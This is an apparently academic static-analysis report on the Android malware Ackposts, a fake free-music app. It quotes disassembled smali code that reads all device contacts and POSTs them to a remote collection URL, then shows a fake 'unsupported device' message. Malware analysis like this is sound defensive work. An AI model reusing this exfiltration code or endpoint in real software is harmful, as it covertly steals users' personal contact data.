Static Analysis of Android Malware: Ackposts

Chris Weaver

Background

Malware is becoming commonplace in mobile devices, they are becoming almost as powerful as some low end computers and they also carry a lot of personal information which makes them a good target for attackers (Mikko Hypponen, 2006). Much like normal computers there are many different types of malware, these range from things like data collection to sending premium rate messages and even obtaining root access on the device (Spreitzenbarth Forensics, 2016).

There are two security functions that look at analysing this malware, static and dynamic analysis. Here we will be exploring static analysis and how it is used as a security function. Looking at how static analysis can be performed and what conclusions can be drawn from it as a process.

In this report I chose to focus on a piece of malware that would be collecting data from the infected device. Ackposts does exactly this, it is written for android and it's aim is to collect contacts data from the infected device and then forward it to a remote server whilst being disguised as some sort of free music application. It is already recognised by some mobile anti-virus programs (Symantec, 2012; Mcafee, 2012) however I'd like to use static analysis to further understand how it works.

Static Analysis of Malware

Static analysis is used as a way of determining what a piece of malware is doing without actually executing it. The aim is to determine the functionality and impact the piece of malware may have (Wikipedia, 2016). This is usually done by analysing the binary data and perhaps reverse engineering or disassembling it into something slightly more readable. Hopefully you would then be able to work out what was happening and the potential impacts it might have.

There aren't many legal and ethical considerations to take into account, however you will be disassembling other people's intellectual property, even if it is malware. It should also be done in a secure and controlled environment even if you are not running the malware (Craig Valli, 2008).

Disassembly

To disassemble the APK file I chose to use a program called Apktool (Connor Tumbleson, Ryszard Wiśniewski, n.d). This is a tool used for reverse engineering 3rd party, binary Android applications. It can disassemble and also rebuild applications after they have been modified.

Once the APK file was disassembled it left a few different folders and files which include the decoded AndroidManifest.xml file and a folder called smali which is where the disassembled binary code is stored. From here we could start looking at the created files and piecing together what is happening inside the application.

Analysis

The first item to take a look at is the AndroidManifest.xml file, this file contains many pieces of information about the application. The main point of interest however are the permissions that are requested. This will give us our first insight of what the app is trying to do.

```
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
```

The xml file makes it quite clear that the application wants access to the internet and also read contacts. This matches nicely to what was expected from the documentation given by antivirus software.

In the smali folder, that was created when we disassembled the Android binary, there are several files. Most of these are unimportant since they are just made by the compiler and handle internal mapping and display. However there are three assembly files which are relevant, FreeMelody and its two inner (nested) classes, shown by the '$' sign in the name.

The main class, FreeMelody, contains onCreate(), onStart() and public constructor methods, these methods are run first before anything else. It also contains a private method called 'httpPost' which we will get to later. The onStart() method contains the first point of interest, as it calls for the FreeMelody$1 class to be run right away.

```
#Creates instance of FreeMelody$1
#calls FreeMelody$1
    new-instance v1, Lcom/mmmm/bl/FreeMelody$1;
    invoke-direct {v1, p0}, Lcom/mmmm/bl/FreeMelody$1;-><init>(Lcom/mmmm/bl/FreeMelody;)V
```

Another part worth mentioning is we can see the URL for the remote server that is being put in FreeMelody.url() variable. There are other variables like contacts that are initialized here but they are empty for the moment.

```
#Creates string variable in v0, puts object in FreeMelody.url
#This is the remote server the data will be sent to.
    const-string v0, "http://staraprigo.biz/bl.php"
    iput-object v0, p0, Lcom/mmmm/bl/FreeMelody;->url:Ljava/lang/String;
```

Analysis cont.

The FreeMelody$1 class is focused around gathering the contacts data that will later be sent to the remote server. This is quite evident by a number of lines in the code straight away.

```
#gets contacts object reference, puts it in v1
    sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
```

```
#calls ContentResolver's query method with v1-v5. v1 is the reference to contacts CONTENT_URI.
#Saves as Cursor object(like a database) which allows random read-write permissions. Database of contact now referenced by v11.
    invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/
    move-result-object v11
```

At this stage, assuming it was successful, the v11 register is now a reference to the database containing all the contact details stored on the phone. Cursor (Android, n.d.) is used as an interface between the application and the database, it will allow the application to query the database to obtain the data it wants.

To get the needed data the application creates a string with the name of the column that is wanted, then calls Cursor.getColumnIndex() with the string as an argument. This returns an integer that references the required column. It then proceeds to call Cursor.getSring(), using the integer that was just obtained as an argument. This returns the data in the column as a string.

```
#Creates string referenced by v2
    const-string v2, "_id"

#calls Cursor (contacts database), gets the column called '_id' number. Puts the int in v2.
    invoke-interface {v11, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
    move-result v2

#Calls Cursor getString, passing in the column ID in v2, returns value of column as string.
    invoke-interface {v11, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
    move-result-object v2
```

When the the data is returned, it will be stored and parsed in an instance of Java's StringBuilder in register v12. This process is repeated 4 times, each time getting a different column of data and appending it onto the StringBuilder instance. Once this process has finished the StringBuilder will contain ID's, display names, phone numbers and email addresses for all people stored in contact on the phone.

When all the data is in there, StringBuilder.toString() is called which will create the string, it's then moved into register v2 and FreeMelody.access$0 is called. This method was created by the compiler and is used to map a local inner class object to a block's local variable (Jeff Friesen, 2002). This method links with the private contacts field in FreeMelody with the string of contacts data in v2.

```
#Calls stringBuilder in v12. Moves result to v2. v2 now holds all contacts data collected.
    invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v2

#Calls FreeMelody.access$0 with v2 (contact data) as an argument.
#Doing this will map the contact data to a private field in the main class, so it is ready to be sent to remote server.
    invoke-static {v1, v2}, Lcom/mmmm/bl/FreeMelody;->access$0(Lcom/mmmm/bl/FreeMelody;Ljava/lang/String;)V
```

FreeMelody$1$1 is then called.

```
#Creates new instance of FreeMelody$1$1, calls init method
    new-instance v2, Lcom/mmmm/bl/FreeMelody$1$1;
    invoke-direct {v2, p0}, Lcom/mmmm/bl/FreeMelody$1$1;-><init>(Lcom/mmmm/bl/FreeMelody$1;)V
```

This class is where the application wraps itself up. The first important part in this is that it creates a reference to the contacts data in the main class by calling FreeMelody.access$2, this instance then referenced in register v3. The application then uses the reference as an argument and calls the FreeMelody.postHttp() method.

```
    # getter for: Lcom/mmmm/bl/FreeMelody;->contacts:Ljava/lang/String;
    invoke-static {v3}, Lcom/mmmm/bl/FreeMelody;->access$2(Lcom/mmmm/bl/FreeMelody;)Ljava/lang/String;

    move-result-object v3

    # invokes: Lcom/mmmm/bl/FreeMelody;->postHttp(Ljava/lang/String;)Ljava/lang/String;
    invoke-static {v2, v3}, Lcom/mmmm/bl/FreeMelody;->access$3(Lcom/mmmm/bl/FreeMelody;Ljava/lang/String;)Ljava/lang/String;
```

When this method is called, the contacts data that was passed in is now referenced by p1.

```
.method private postHttp(Ljava/lang/String;)Ljava/lang/String;
    .locals 12
#The parameter that is being given is the contacts data gathered in FreeMelody$1.
#This is now referenced by p1.
    .param p1, "str"    # Ljava/lang/String;
```

Analysis cont.

It will then start by creating instances for Apache's DefaultHttpClient and HttpPost methods. When HttpPost is called it is passed the URL of the remote server (Apache, n.d.).

```
#Creates instance of apache's DefaultHttpClient
#http://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/impl/client/DefaultHttpClient.html
#Calls init
    new-instance v0, Lorg/apache/http/impl/client/DefaultHttpClient;
    invoke-direct {v0}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
```

```
#Creates instance of Apache's HttpPost
#http://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/client/methods/HttpPost.html
    new-instance v3, Lorg/apache/http/client/methods/HttpPost;
#Gets url value, stores in v10
    iget-object v10, p0, Lcom/mmmm/bl/FreeMelody;->url:Ljava/lang/String;
#Calls HttpPost in instance v3. Passes in url. v3 now stores url in the instance
    invoke-direct {v3, v10}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
```

The contacts data, along with a name is then passed into Apache's BasicNameValuePair method, I assume for formatting and storing it so it is suitable to be sent via the HttpClient later. The returned result is then put into an array object referenced by v4.

```
#creates instance, calls it with test as parameter.
#this method takes name and value, referenced by v11 and p1. v11 being 'test', p1 which is the contacts data.
#Adds reference to that in the array in v4.
    new-instance v10, Lorg/apache/http/message/BasicNameValuePair;
    const-string v11, "test"
    invoke-direct {v10, v11, p1}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v4, v10}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
```

The array is sent as an argument to be encoded as a form entity referenced by v8. Then set as an entity in the HttpPost instance and then sent to the remote server using Apache's HttpClient. It is passed the instance of HttpPost as an argument, within this are the URL, content headers, and the encoded contacts data.

```
    .line 129
#Creates UrlEcodedFormEntity, this takes the postParams in v4, which contains the contacts data, and the charset
#This makes a form entity of the data in v8
    new-instance v8, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
    const-string v10, "UTF-8"
    invoke-direct {v8, v4, v10}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V

    .line 130
    .local v8, "sendData":Lorg/apache/http/client/entity/UrlEncodedFormEntity;
#sets v8 as HttpEntity in v3
    invoke-virtual {v3, v8}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V

    .line 133
#Executes httpPost, sending the contacts data to the URL
    invoke-interface {v0, v3}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/htt
```

Finally we go back to FreeMelody$1$1 where the application wraps itself up by telling the user their device doesn't support the application and the proceeds to shut down any remaining processes.

```
#unicode for: '申し訳ございません。お使いの端末は未対応のためご利用いただけません'
#Which translates to: 'I'm sorry. Your device is not supported and can not be used'
#This string is then displayed on screen.
    const-string v2, "\u7533\u3057\u8a33\u3054\u3056\u3044\u307e\u305b\u3093\u3002\u304a\u4f7f\u3044\u306e\u7aef\u672b\u
    invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
```

Conclusion

My findings during the process are exactly what I expected, they match up very well with what is said about piece of malware on the anti-virus sites (Symantec, 2012; Mcafee, 2012). Essentially this application, disguised as a free music service, collects all of the infected devices contacts, parses and decodes them and then sends them off to a remote server. Once its collected the data it tells the user their device does not support this application and shuts itself down.

Fully annotated code: https://github.com/aixr/ack

Overall I would say the use of static analysis plays a very important role in security. It can be used effectively to determine what is and what isn't malware, look at the impact it may have and also identify future development and issues in the area. This can be seen by the conclusions I came to within my experimentation in the area. I was able to take a piece of malware and use static analysis to come to the same outcome as what was expected from current documentation of this particular example.

References

Symantec (July, 2012) 'Android.Ackposts' [online] avilable from <https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99> [17 Nov 2016]; Mcafee (July, 2012) 'Android/Ackposts.A' [online] available from <https://home.mcafee.com/virusinfo/virusprofile.aspx?key=1361539#none> [17 Nov 2016]; David Teitelbaum (Oct, 2012) 'Reverse Engineering Android: Disassembling Hello World' [online] available from <https://apkudo.com/?p=775> [17 Nov 2016]; Ben Gruver (Oct, 2016) 'Smali Wiki' [online] available from <https://github.com/JesusFreke/smali/wiki> [17 Nov 2016]; Oracle (n.d.) 'Inner Classes' [online] available from <https://docs.oracle.com/javase/tutorial/java/javaOO/innerclasses.html> [18 Nov 2016]; Android (n.d.) 'Activity' [online] available from <https://developer.android.com/reference/android/app/Activity.html> [18 Nov 2016]; Android (n.d.) 'Cursor' [online] available from <https://developer.android.com/reference/android/database/Cursor.html> [18 Nov 2016]; Mikko Hypponen (2006) 'Malware Goes Mobile' [online] available from <http://www.nature.com/scientificamerican/journal/v295/n5/full/scientificamerican1106-70.html> [19 Nov 2016]; Spreitzenbarth Forensics (Jan, 2016) 'Android Malware' [online] avalible from <https://forensics.spreitzenbarth.de/android-malware/> [19 Nov 2016]; Jeff Friesen (Feb, 2002) 'Study guide: Classes within classes' [online] available from <http://www.javaworld.com/article/2074001/core-java/study-guide--classes-within-classes.html> [20 Nov 2016]; Apache (n.d.) 'DefaultHttpClient' [online] available from <http://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/impl/client/DefaultHttpClient.html> [20 Nov 2016]; Apache (n.d.) 'DefaultHttpClient' [online] available from <http://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/client/methods/HttpPost.html> [20 Nov 2016]; Connor Tumbleson, Ryszard Wiśniewski (n.d) 'Apktool - A tool for reverse engineering Android apk files' [online] available from <https://ibotpeaches.github.io/Apktool/> [15 Nov 2016]; Wikipedia (Sep, 2016) 'Malware Analysis' [online] available from <https://en.wikipedia.org/wiki/Malware_analysis> [22 Nov 2016]; Craig Valli (2008) 'The Malware Analysis book of knowledge' [online] available from <http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1043&context=adf> [22 Nov 2016];